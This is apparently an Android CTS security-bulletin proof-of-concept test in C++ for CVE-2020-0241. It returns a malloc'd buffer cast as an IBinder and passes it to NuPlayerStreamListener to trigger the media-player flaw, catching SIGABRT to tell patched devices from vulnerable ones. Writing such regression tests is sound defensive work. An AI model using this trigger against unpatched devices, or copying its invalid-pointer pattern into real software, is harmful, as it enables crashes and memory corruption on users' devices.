unplugged-system/cts/hostsidetests/securitybulletin/securityPatch/CVE-2020-0241/poc.cpp

62 lines
1.9 KiB
C++

/**
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <nuplayer/NuPlayerStreamListener.h>
#include <stdlib.h>
#include "../includes/common.h"
const size_t kBufferSize = 1024;
using namespace android;
bool isTestInProgress = false;
struct sigaction new_action, old_action;
void sigabrt_handler(int signum, siginfo_t *info, void *context) {
if (isTestInProgress && info->si_signo == SIGABRT) {
(*old_action.sa_sigaction)(signum, info, context);
return;
}
exit(EXIT_FAILURE);
}
class StreamSource : public IStreamSource {
public:
void setListener(const sp<IStreamListener> &listener __attribute__((unused))) {}
void setBuffers(const Vector<sp<IMemory>> &buffers __attribute__((unused))) {}
void onBufferAvailable(size_t index __attribute__((unused))) {}
protected:
IBinder *onAsBinder() { return (IBinder *)malloc(kBufferSize); }
};
int main() {
sigemptyset(&new_action.sa_mask);
new_action.sa_flags = SA_SIGINFO;
new_action.sa_sigaction = sigabrt_handler;
sigaction(SIGABRT, &new_action, &old_action);
const sp<StreamSource> source = new StreamSource();
FAIL_CHECK(source != nullptr);
isTestInProgress = true;
sp<NuPlayer::NuPlayerStreamListener> listener =
new NuPlayer::NuPlayerStreamListener(source, nullptr);
isTestInProgress = false;
return EXIT_SUCCESS;
}